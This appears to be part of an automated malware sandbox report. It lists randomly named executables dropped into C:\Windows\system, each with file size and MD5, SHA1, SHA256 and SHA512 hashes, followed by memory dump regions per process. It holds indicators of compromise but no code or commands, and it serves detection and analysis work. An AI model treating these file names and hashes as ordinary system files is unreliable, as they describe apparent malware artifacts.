873e154171eae8a5cf98d5a006956e0665c1b59c609ed3a3b549eebb64944665e0c4d28635815efe81b287e061be91379ae68e4f30e67a5725ae61feb5b01e00

Download Submit
C:\Windows\system\qCIYbBc.exe

Filesize
1.6MB

MD5
565aee8b8989623534eecb528aa6206f

SHA1
a41fc76ce285216c07fb7e06f859c6737f1bd775

SHA256
01a33fce12455ba797aff6e65f97330636f696448d4d3689a2644eb4216bdb72

SHA512
51888d8302f8a82dad30704adf0558b92a3dc9d4b46c52d587d95ff8317643f48afa121ed798e62a3a9e00e4125ccd83841aab0a51f34f76dee188fe6dde2d0c

Download Submit
C:\Windows\system\rGlLnSp.exe

Filesize
1.6MB

MD5
d16376f7a35e0f7656613deb14487646

SHA1
3b5e722cd706e8e9fe3578fd694a2f0fff498d0b

SHA256
5654a7bc9c8c458a1da673cd1307886ae0c4a81514f761c499a7ab4df355cb3b

SHA512
b924a61e810e84f35b7a1fde328c7ad3ada4b750d87d73b361a1372c38599d045d9bacef62c0d2af3590567298421991b4cbd80a89833c950786654d98e37691

Download Submit
C:\Windows\system\roQjuHQ.exe

Filesize
1.6MB

MD5
b9c244574e8b62ce62f13e65fe44be7f

SHA1
47a25e8ec3ece855f3c512e36d2b07e43bcc7df4

SHA256
023a423184cd09066328ec29840b84b08ae0eeeb3fd30e51647b2919c3306d66

SHA512
fc5816197f3e5c896ce59a710684daf5752bd4732f2b766439cda8806d5bc219d626625a52bf92dc0d5307c45ed7bb2a0a6b7cc7ac1440522c856a43a423c556

Download Submit
C:\Windows\system\ufHaUgs.exe

Filesize
1.6MB

MD5
b0d94911d00ece9fc85649ad2a62b76a

SHA1
efc08a678267e760af80025d055426325ad8a74b

SHA256
8e1830eed77aeed1ad58d4dd12d16d08b365b89f54b22c5383e8e7f24dc5ac1b

SHA512
9b332119ddfcded5e7a52908319eef7b3c0d40b39fe670aec0683fef7f6ed705db092906834b82b3d42b8979fbe94b1ca39819ef058fd596b2090751f0d121be

Download Submit
C:\Windows\system\yAkHVRn.exe

Filesize
1.6MB

MD5
cc2a2594da9dd297504def2fa66bf52c

SHA1
c40de97efc537588c1aa18a203a9a3cda75e2eb9

SHA256
075a84c5da1c5706e7da5cad042459f67dfb553decd8abae430c63d3ef9a6966

SHA512
d6fe1e77e7acdefff3a03a6e174d48c4e9140142a5f7760877a48ba72e7958ff518d2caaedcc6944a640ee6b912a3e123341d15d08d6f3db2617bd9ebc2fcde0

Download Submit
\Windows\system\MFfJhcq.exe

Filesize
1.6MB

MD5
527ed5913754f335917635646c3d01bd

SHA1
cde5cfb145ca3a86dea27da9fe470e44445e18c1

SHA256
52f2935f08cc52d9bb339defb688d56426c2106331323c31b635cb69d19fe908

SHA512
84255992388ac80da70761614d5a98f415ef11c888fa1f2eed47795bc231b6bcb5730648b73e4dde6fbc79e9e9bf5fd969c941b4f567aa70643d8e1ca1d0a768

Download Submit
\Windows\system\NumxoYX.exe

Filesize
1.6MB

MD5
a268b67ac0abf4429ad5d2e7c4344827

SHA1
9e679df0327d5d618894214ce00061a33bfcb418

SHA256
e3eca1f6c47587ca8f5ffc38f7c4912ccd5a804ff714027fcd7b9b960d3824fe

SHA512
3679f2ed1bf37e971a7a9bdb64bfaec15146ee5f4091e7667c386b1e6f4b33a2db49bba275a5e10bcb776c81e1bc2ef7c0c6bdcdf9ab404efbf986822bd86302

Download Submit
\Windows\system\QIXEHsd.exe

Filesize
1.6MB

MD5
b2722c9065a3b43c15efbeefda0d00d3

SHA1
385b7cfe0b458ef78d146d5af75b13b0ef071929

SHA256
ab7d6a57ffe73b5d9742e93cd81885214df1d14e1489a046129ab85d564c670d

SHA512
5b09ffb4f1791743b93618f4282aa6dd542203693805be1c08b534e91b82df1b85202bf4029614b0af3f6b00ff81fa5e420447fccc6e770d0f2f6e114e9cf8fc

Download Submit
\Windows\system\SuMCyvs.exe

Filesize
1.6MB

MD5
ac3b9113f65f7ac2ad6f440a44dc1fcc

SHA1
432d7a976d968d0a23f6d34f98d77b4fc802633e

SHA256
4deb7b910233e99c577d96459562665210b0da93586da6f9175eb9ca27ae4dc1

SHA512
f7f7d23462734dc95d259c557d5fdff4c695388ddb792ee2ee4d967c3ed750436919fa4178f19578858f0411220b9225266b65252a207a72c9de9f29ebf03c65

Download Submit
\Windows\system\ewwlTyl.exe

Filesize
1.6MB

MD5
4b5ac0093b198886872088703e019cdf

SHA1
533d7f563e3738dcf2e0f33e2bcb683635e060b2

SHA256
b2579d1c50f4c8fcbad5ccedf5f4ddae050af8ab618077664a38a7b7123ac324

SHA512
21226a8a5c5b985e1e4c3487e921b68bee1181ac7dfc67a479cc25cc5d3283fec6eb7ca619af0abab9f37b7fc77ea40d152e79fa2592f515cdb98d26a8dbc8b3

Download Submit
\Windows\system\lmgEbDV.exe

Filesize
1.6MB

MD5
22720a54ef2ac8b47fb4cac571bac969

SHA1
109324ae25ba27cd1e83fc25a3c8afd2cb57ee25

SHA256
fd710f473fcea8fb30a563dfbd53681e99871314dffb84325ed2deedaabab520

SHA512
bc9b625364931097244da4034f7e0853f886407486a8a270bd78e434da996b1343f2ea1b21394644e657dfc5b853c6b0cc27f9df50d9d834cee78619448052e0

Download Submit
\Windows\system\wnKBJqo.exe

Filesize
1.6MB

MD5
dbedbeb31e15f5fe86d3c62af687f77c

SHA1
718138c0df8fe9e235156ebd30538c5950faf455

SHA256
c43f0ef41dc127986a317099280b6b251e4f5a4440f64bcb9cec3c4c1e94cad8

SHA512
fbd41ae9bd9974ec1d63c1cffc32c5ab52ea86394ccdcac7127f139b9aff23c88476b43c67ef059725eb5fe337902dbccab4b093cba3d651e675f33f79fa309b

Download Submit
\Windows\system\xfoDNQT.exe

Filesize
1.6MB

MD5
e31070cad6887707ec1b4f2548e342d0

SHA1
b6a8d18c0b841fb3b3dd39f1b7396300ceb160fe

SHA256
98c3df3ab6693e7a0b6f9a256d41610805a3bb4d431c64cc9d30b7bb21c1115b

SHA512
6e7f4fc0dfae5cee896a9c0ebca725646ba9275afc754d6e98ff99a03154f5c378453b214c03a3b72066eb757e2ba84eae630257496ad5ca8832073cdabe7b03

Download Submit
memory/1988-94-0x000000013F970000-0x000000013FD62000-memory.dmp

Filesize
3.9MB

Download
memory/1988-5745-0x000000013F970000-0x000000013FD62000-memory.dmp

Filesize
3.9MB

Download
memory/2144-5743-0x000000013FEB0000-0x00000001402A2000-memory.dmp

Filesize
3.9MB

Download
memory/2144-86-0x000000013FEB0000-0x00000001402A2000-memory.dmp

Filesize
3.9MB

Download
memory/2216-20-0x0000000002E20000-0x0000000002EA0000-memory.dmp

Filesize
512KB

Download
memory/2216-83-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2216-21-0x000007FEF62CE000-0x000007FEF62CF000-memory.dmp

Filesize
4KB

Download
memory/2216-1380-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2216-53-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2216-85-0x0000000002E20000-0x0000000002EA0000-memory.dmp

Filesize
512KB

Download
memory/2216-26-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2216-29-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2216-23-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2216-31-0x000007FEF6010000-0x000007FEF69AD000-memory.dmp

Filesize
9.6MB

Download
memory/2216-28-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2268-70-0x000000013F2E0000-0x000000013F6D2000-memory.dmp

Filesize
3.9MB

Download
memory/2268-66-0x000000013F9A0000-0x000000013FD92000-memory.dmp

Filesize
3.9MB

Download
memory/2268-8847-0x000000013FEB0000-0x00000001402A2000-memory.dmp

Filesize
3.9MB

Download
memory/2268-104-0x000000013FE00000-0x00000001401F2000-memory.dmp

Filesize
3.9MB

Download
memory/2268-105-0x0000000003770000-0x0000000003B62000-memory.dmp

Filesize
3.9MB

Download
memory/2268-2-0x000000013F2E0000-0x000000013F6D2000-memory.dmp

Filesize
3.9MB

Download
memory/2268-7-0x0000000002F70000-0x0000000003362000-memory.dmp

Filesize
3.9MB

Download
memory/2268-96-0x000000013F9B0000-0x000000013FDA2000-memory.dmp

Filesize
3.9MB

Download
memory/2268-84-0x000000013FEB0000-0x00000001402A2000-memory.dmp

Filesize
3.9MB

Download
memory/2268-18-0x000000013F7B0000-0x000000013FBA2000-memory.dmp

Filesize
3.9MB

Download
memory/2268-32-0x000000013FF90000-0x0000000140382000-memory.dmp

Filesize
3.9MB

Download
memory/2268-43-0x0000000003770000-0x0000000003B62000-memory.dmp

Filesize
3.9MB

Download
memory/2268-54-0x000000013F840000-0x000000013FC32000-memory.dmp

Filesize
3.9MB

Download
memory/2268-0-0x0000000000080000-0x0000000000090000-memory.dmp

Filesize
64KB

Download
memory/2268-57-0x000000013FA90000-0x000000013FE82000-memory.dmp

Filesize
3.9MB

Download
memory/2268-102-0x0000000003770000-0x0000000003B62000-memory.dmp

Filesize
3.9MB

Download
memory/2268-58-0x000000013FA50000-0x000000013FE42000-memory.dmp

Filesize
3.9MB

Download
memory/2460-1725-0x000000013FA90000-0x000000013FE82000-memory.dmp

Filesize
3.9MB

Download
memory/2460-72-0x000000013FA90000-0x000000013FE82000-memory.dmp

Filesize
3.9MB

Download
memory/2480-68-0x000000013F9A0000-0x000000013FD92000-memory.dmp

Filesize
3.9MB

Download
memory/2480-5455-0x000000013F9A0000-0x000000013FD92000-memory.dmp

Filesize
3.9MB

Download
memory/2480-1241-0x000000013F9A0000-0x000000013FD92000-memory.dmp

Filesize
3.9MB

Download
memory/2488-103-0x000000013F400000-0x000000013F7F2000-memory.dmp

Filesize
3.9MB

Download
memory/2488-46-0x000000013F400000-0x000000013F7F2000-memory.dmp

Filesize
3.9MB

Download
memory/2508-56-0x000000013F840000-0x000000013FC32000-memory.dmp

Filesize
3.9MB

Download
memory/2536-304-0x000000013FA50000-0x000000013FE42000-memory.dmp

Filesize
3.9MB

Download
memory/2536-59-0x000000013FA50000-0x000000013FE42000-memory.dmp

Filesize
3.9MB

Download
memory/2608-82-0x000000013F7B0000-0x000000013FBA2000-memory.dmp

Filesize
3.9MB

Download
memory/2608-19-0x000000013F7B0000-0x000000013FBA2000-memory.dmp

Filesize
3.9MB

Download
memory/2808-34-0x000000013FF90000-0x0000000140382000-memory.dmp

Filesize
3.9MB

Download
memory/2916-9-0x000000013F3B0000-0x000000013F7A2000-memory.dmp

Filesize
3.9MB

Download
memory/2916-71-0x000000013F3B0000-0x000000013F7A2000-memory.dmp

Filesize
3.9MB

Download